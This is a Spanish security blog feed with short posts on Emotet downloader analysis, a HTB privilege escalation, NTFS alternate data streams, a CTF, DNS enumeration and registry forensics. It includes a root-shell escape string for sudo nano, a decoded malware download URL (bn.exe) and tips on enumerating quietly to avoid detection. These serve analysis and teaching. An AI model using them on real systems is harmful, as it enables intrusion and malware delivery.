Por desgracia NO SE HA PODIDO DESCARGAR EL MALWARE REAL


En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

PD:Por cierto, gran trabajo el de los chicos/as de las casas antivirus y demás analistas.





En busca de mis dorados IOC's

$
0
0

Hace tiempo me enfrente a una campaña de Emotet, más concretamente a sus “downloaders”, como mucha gente.

Mi desesperación fue en aumento por gastar tanto tiempo en su análisis, y más allá cuando de repente su funcionamiento cambio y ya no podía manipular sus macros al ejecutar los archivos Word (.doc) en un entorno controlado, por que se eliminaban tras la primera ejecución.

NOTA: Me gusta entender lo que ejecuto, es mi forma de seguir aprendiendo.

Ya sólo me quedaba realizar un análisis estático de los mismos.

Esto siempre lo realizo mediante la apertura de los archivos como si fuera archivos comprimidos, aunque realmente son eso.

El problema que me encontré es que la información visualizada no mostraba el código Visual Basic de la macro y por lo tanto su análisis era imposible.

Así que se me ocurrió fue usar un editor hexadecimal para ver directamente su contenido, y ahí, ¡vi la luz!.

Visualización del archivo downloader de Emotet


Pude observar la existencia de un conjunto de caracteres de sumo interés


Cadena de caracteres encontrado

Se continúo mirando hasta que se llego al final de los caracteres.


Y se pudo ver que se trataba de una cadena codificada en base64

Por lo tanto lo único que sé tuvo que hacer fue extraer y eliminar el patrón, pero ¿qué patrón?

Si nos fijamos bien vemos que el patrón es: _!j@, pero aún más … podemos decir que se aplica tres veces.

Veamos esto último, para ello cojamos del siguiente tramo de caracteres mostrado


Más concretamente los caracteres: 6_!_!j@_!j@j@A

Si  quitamos el patrón, la cadena nos queda: 6_!_!j@j@A , si quitamos de nuevo el patrón, la cadena nos queda: 6_!j@A y si lo quitamos de nuevo, la cadena nos queda: 6A

Es por esto, por lo que se ha comentado que el patrón se repite hasta 3 veces.

Sabiendo esto, se paso a extraer los comentados caracteres y eliminar el patrón tantas veces como sea necesario mediante la automatización. Para ello se elaboro la siguiente secuencia de comandos de bash:


Que permitió obtener el siguiente resultado:


Si nos fijamos bien, se trata de un script que guarda entre otras cosas la variable: Lxbvplwvfufaj, cuyo contenido es una serie de URLs


A través de estas URLs se pudo conseguir muestras para su análisis, y así configurar distintos IOCs para los sistemas de seguridad.

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.





               

Get The F*** !!!!!!!

$
0
0

En una de las últimas máquinas que he realizado en el entono HTB (Hack the Box), para escalar privilegios tuve que utilizar un GTFOBins, pero… ¿qué es esto?

Pues son funciones legítimas del sistema que pueden ser explotadas para evitar las restricciones de seguridad que nos haya impuesto el sistema.

Estas GTFOBins son  en *NIX a lo que las LOLBAS (Living Off The Land Binaries and Scripts) en el entorno Windows.


En ambos casos existen sendos proyectos que permiten listar las funciones a explotar (Windows y *NIX)

Ahora, ¿cómo lo averigüe?

Para averiguar si dentro de un entorno, existe un GTFOBins, personalmente lo primero que hago es revisar los permisos que tiene un usuario para elevar privilegios mediante el comando: sudo. Para lo cual, simplemente tenemos que ejecutar la opción del comando: sudo –l




Lo que vemos significa que nuestro usuario al ejecutar el comando: sudo /bin/nano /opt/priv, lo hará como usuario “root”.

Ahora, con dicha información, sólo tenemos que buscar en el proyecto mencionado anteriormente como realizar la escalada de privilegios a través del comando: nano, y seleccionar su opción: sudo

En nuestro caso:

               
Es decir, ejecutaremos el comando: sudo /bin/nano /opt/priv, y cuando podamos editar el documento, pulsaremos CONTROL+R y CONTROL+X. En el recuadro que aparecerá, podremos introducir la cadena: reset; sh 1>&0 2>&0, lo cual nos mostrará una línea de comandos en donde los comandos se ejecutará como ROOT.

En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.

Si se puede jugadores.

$
0
0

Supongamos que trabajando desde una máquina virtual basada en Kali Linux y conectados a través del protocolo SMB a una máquina Windows, te encuentras con un archivo que utiliza ADS (Alternate Data Stream) para ocultar información.

¿Qué se hace para ver el contenido de ese ADS desde Linux?

Permitidme hacer un inciso en este punto, para dar una pincelada a este, tan trillado, asunto.

¿Qué son los “Alternate Data Stream”?

Los Flujos Alternativos de Datos, Alternate Data Streams o ADSson una característica del sistema de archivos NTFS que permite almacenar metainformación con un fichero, sin necesidad de usar un fichero separado para almacenarla.

Más información:

·         https://es.wikipedia.org/wiki/Alternate_Data_Streams
·         https://www.securityartwork.es/2015/02/23/alternate-data-stream-ads-flujo-de-datos-alternativos-en-ntfs/

¿Cómo se visualiza desde un entorno Windows?

Dir /R <fichero>

NOTA: Otra forma de detectar la presencia de un archivo con está característica es copiar un archivo con ADS a un sistema que no tenga capacidad para gestionar archivos con ADS, como por ejemplo los antiguos sistemas de ficheros FAT y FAT32

Volviendo al asunto principal y contestando a la pregunta anteriormente formulada

Hay dos posibles opciones:

1.- Montar el recurso mediante el comando: mount –t ntfs <todo lo demás>
     
NOTA: En mi caso no ha funcionado debido a que el punto a montar es un recurso compartido, y aunque hay mucha gente preguntando por Internet, no he podido conseguir información sobre la resolución de dicho problema.

Es decir:

mount –t ntfs //<IP>/<recurso compartido>  /mnt/<ubicación local>

¡¡¡PROVOCA UN ERROR!!!

 
2.- Utilizar el comando: smbclient

En este caso, podemos comprobar si un archivo esconde un ADS, mediante el siguiente uso de:

Smbclient  [-U <usuario>] //<IP>/<recurso compartido> -c ‘allinfo “<nombre de archivo y path desde la raíz del recurso compartido>”’ [<contraseña>]

Como se puede apreciar, el archivo contiene 15 bytes de información ocultos de miradas indiscretas

Si además queremos obtener la información contenida en ese ADS, entonces toca hacer lo siguiente:

Smbclient  [-U <usuario>] //<IP>/<recurso compartido> -c ‘allinfo “<nombre de archivo y path desde la raíz del recurso compartido>”; get “<nombre de archivo y path desde la raíz del recurso compartido>”  “archivo local”’ [<contraseña>]

Descarga del contenido del ADS.

Dentro del <archivo local>, podremos ver la información almacenada en ese ADS


En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.

Envia REQUESTS!!!

$
0
0

Cuando necesitemos enviar un fichero a un servidor web utilizando para ello un parámetro de un formulario (método POST), mediante código Python, podremos utilizar la librería: requests.

Para ello utilizaremos el siguiente código

url = <url del servidor web que tratara el formulario enviado>
filess = { ‘<nombre del parámetro utilizado para enviar el fichero>’ : (‘<nombre del fichero’, open(‘<nombre del archivo>’, ‘rb’))}
r = requests.post (url, files=filess)

Para muestra un botón:


En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.



De todo se aprende

$
0
0

Recientemente ha tenido lugar un CTF de C0r0n4con, de hecho aún sigue, por lo que intentaré un hacer demasiado spoiler.

Durante los primeros días del CTF, tuve un momento para conectarme y realizar un reto de esteganografía, de hecho, uno que te daba 100 puntitos.

El reto consistía en dada un imagen, obtener la flag… nada fuera de lo normal, aunque personalmente terminé aprendiendo algo nuevo

El archivo descargado consistía en un archivo “pdf”, que cuando lo abras veras dos páginas, en la segunda de ellas podrás ver el siguiente icono


Si haces doble click sobre el icono, aparecerá un mensaje de texto que nos dará varias opciones, entre ellas estará aquella que nos permitirá ver el contenido del archivo.

El contenido se trata nada más y nada menos que de un hash en base64



Si decodificamos su contenido de manera online, vemos que lo que tenemos es un archivo en formato PNG (imagen)


Ahora se nos plantea un problema, como trasladar esta información a un archivo que tras ser interpretado nos muestre la imagen. Puedes pensar que con un simple corta y pega se resuelve pero me temo que no, ya que lo que estas copiando son caracteres ASCII y por ahí no van los tiros.

¡Pruébalo si no me crees!

En este punto, puedes hacer dos cosas: buscar alguna web online que nos haga lo que necesitamos, que existen o utilizar algún tipo de lenguaje de programación para realizar la tarea.

Yo tomé el primer camino, pero me prometí abordar el segundo… ¡y aquí estoy!… para ello ¡te escojo a ti, PYTHON!

Y aquí tenéis el código resultante:


Y nuestro archivo PNG, contiene la siguiente imagen:


Bien, hemos conseguido un código de barras.

Ahora toca, transformar dicho código de barras a caracteres ASCII.

En este punto podemos hacer dos cosas: buscar alguna web online que nos haga lo que necesitamos, que existen o utilizar algún tipo de lenguaje de programación para realizar la tarea.

Yo tomé el primer camino, pero me prometí abordar el segundo… ¡y aquí estoy!… para ello ¡te escojo a ti, PYTHON!

Pero antes necesitamos instalar la siguiente librería de Python: pyzbar, pero es fácil. Con un simple: apt-get install libzbar0, lo tenemos.
Y aquí tenéis el código resultante:


Y nuestro código de barras se corresponde con la cadena:


Estos códigos y alguno más lo dejo en mi github, por si os sirven de algo.

En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.

Arañita, ¿dónde vas?

$
0
0

Siempre he querido crear mi propio “spider” en bash, para no tener que utilizar herramientas externas.

A este respecto,  aproveché un trabajo de hace unas semanas para desarrollar la idea anterior, es más, aproveché para darle más funcionalidades, porque así lo necesitaba para mi trabajo.

La funcionalidad incorporada es la de detectar los distintos tipos de extensiones de los distintos documentos que posee el sitio web, y la posibilidad de descargarlos para su posterior análisis de metadatos. Esta última parte, la extracción de metadatos, lo desarrollaré a posteriori.

El código es el siguiente:

NOTA: Creo que el código es fácil de entender, si no es así, contáctame.

 Parte del código 1 de 3

Parte del código 2  de 3

Parte del código 2  de 3

Un ejemplo del uso de este código se puede ver a continuación:

Ejemplo de uso del código

Estos códigos y alguno más lo dejo en mi github, por si os sirven de algo.

En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.

Quando arrivo a casa tua, me pongo a enumerar

$
0
0
Siempre que me das acceso a la tua casa/organización, lo primero que hago es obtener los datos referentes a la dirección IP de la máquina desde la que estoy conectado, así como los datos del servidor DHCP y del servidor DNS, si los hubiera.

Mi intención con ello es explorar el entorno para ver donde se encuentran los peligros y las medidas de seguridad

Después de obtener los datos anteriores y sabiendo que mi objetivo es conocer como se encuentra la red, realizo:

1.-       Un traceroute o un tracert, dependiendo del sistema operativo que maneje en ese momento, para saber qué elementos hay entre mi conexión y los servidores DNS y DHCP.

Lo encontrado sería "estudiado" posteriormente, pero no en ésta entrada.

2.-      Se realiza una conexión mediante el comando: nslookup, para realizar consultas inversas al servidor DNS de la tua organización

La primera petición de resolución inversa es la del propio servidor DNS, es decir, solicito el nombre del servidor DNS mediante el envío de su IP.

Si tenemos resolución, ¡tenemos una mina de oro!

No necesitaremos intentar hacer una transferencia de zona, con lo que ello implica, posibilidad de no conseguirlo y lo peor, detección por parte de las medidas de seguridad existentes que desconocemos. Si no que, podemos empezar a solicitar peticiones de resolución inversa ¡¡¡A LO BRUTO!!!

Para ello, podemos generarnos un pequeño script… pero, puede ser muy llamativo la cantidad de solicitudes de resolución inversa que parten desde nuestra máquina, y tampoco sabemos nada sobre las medidas de seguridad implementadas en el servidor DNS.

Por tanto, es mejor no llamar mucho la atención, por ello es preferiblemente desarrollar un script que permita consultar rangos de red de tipo C, como por ejemplo:

NOTA: Si te gusta el: ¡A LO BRUTO!, puedes modificar el código.



             Ahora... a preguntar, que el saber no ocupa lugar!, o eso dicen.
        
             Este código y alguno más lo dejo en mi github, por si os sirven de algo.
        
             En cualquier caso…

             Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.

Que bonitos siguen siendo.

$
0
0

No hace mucho se me paso un documento EML que contenía un documento “infectado”.

Parte inicial del archivo a investigar

Parte final del archivo a investigar

Como se puede ver, el nombre del archivo es: PO 127516.xlsm y el contenido del archivo viene en base 64.

NOTA: La extensión: xlsm, es la extensión utilizada por Excel para almacenar archivos con macros.

Para poder analizarlo, se tuvo que extraer los caracteres en base64 y decodificarlos, para lo cual se utilizo una herramienta de cosecha propia. Si quieres utilizarla puedes obtenerla aquí.

Tras obtener el archivo, se traslado a un entorno controlado para su análisis. En dicho entorno no existe salida a Internet de manera efectiva pero es posible analizar las comunicaciones que se han producido mediante Wireshark al abrir el documento analizado.

El Wireshark mostro peticiones DNS, hacía el dominio: cd.crazendemand.com

 Peticiones DNS

Tras la apertura del documento se procedió a revisar la macro del documento

Parte de la macro

Se procedió a buscar el punto de ejecución, porque el malware que utiliza macros siempre ejecuta algo

Se encontro :

Punto de ejecución dentro del código

En la ejecución paso a paso del código nos fijamos en el campo: TXTFile, en donde se encontró:


Como se puede apreciar, tenemos un archivo ubicado en: C:/programdata, que utiliza ALTERNATE DATA STREAM (asc.txt:script1.vbs).

Para ver el contenido del archivo que realmente contiene el premio gordo tenemos que utilizar el nombre completo, es decir, ejecutar , por ejemplo, lo siguiente: notepad asc.txt:script1.vbs

Al hacerlo se pudó ver:

Primeras líneas del archivo: asc.txt:script1.vbs

Analizando un poco por encima se vio:

1.- Que tiene que tener algún carácter en base 64
2.- Que realiza una petición web de tipo GET

Por lo tanto, se busco una cadena en formato Base 64.

Tuvimos suerte, por qué en las dos primeras líneas se tienen dos asignaciones de cadenas en base64 a variables.

La segunda cadena no da:

http://cd.crazendemand.com/vendor/phpunit/php-timer/src/bn.exe

Decodificación de una de las cadenas del código

Y os confirmo que se pudo descargar dicho archivo y que VirusTotal informaba que 48 de 69 motores lo clasificaban como malicioso.

MD5 del archivo descargado

Resultado de VirusTotal

 
En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.

Serie: Cuadernos forenses - Unidades de red compartidas

$
0
0

Debido a un caso de forense, se necesitó saber la ubicación dentro del registro de Windows donde se almacenan los recursos configurados como unidades de red o ubicaciones de red, que casi todo el mundo tiene configurados en su equipo con sistema operativo Windows instalado

¡Pero para qué estar buscando por la red cuando se puede hacer un pequeño prueba de concepto que nos va a llevar 5 minutos!

Para ésta prueba se necesitan 2 máquinas, en una de ellas crearemos dos carpetas y las compartimos [sólo admite 1 usuario y cualquiera tiene permisos para leer el contenido], y en la otra mediante el wizard del sistema crearnos las unidades/ubicaciones de red.

 
Unidades de red creadas

Una vez creadas, hay que dirigirse a nuestro registro de Windows, mediante el archi-conocido comando “regedit” o mediante el mega-archi-conocido ejecutando “Editor de registro”.

Una vez en el registro de Windows, procedemos a buscar la IP,  nombre de servidor o nombre de cualquiera de las carpetas compartidas a las cuales no hemos vinculado. En mi caso se busca por la cadena: “Pruebas_de_conexion”, que se corresponde con el nombre de una de las carpetas compartidas

Tras esperar unos segundos, encontramos nuestra ansiada ubicación.



El tesoro se encuentra en:

HKU\Software\Microsoft\CurrentVersion\Explorer\PublishingWizard\AddNetworkPlace\AddNetPlace\LocationMRU


Pero además, sabemos que:

1.- podemos ver que a cada unidad de red compartida se le asigna una clave alfabética
2.- la clave: MRUList,  que funciona de índice para saber que unidades se visualizan.

En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.

Viewing all 125 articles
Browse latest View live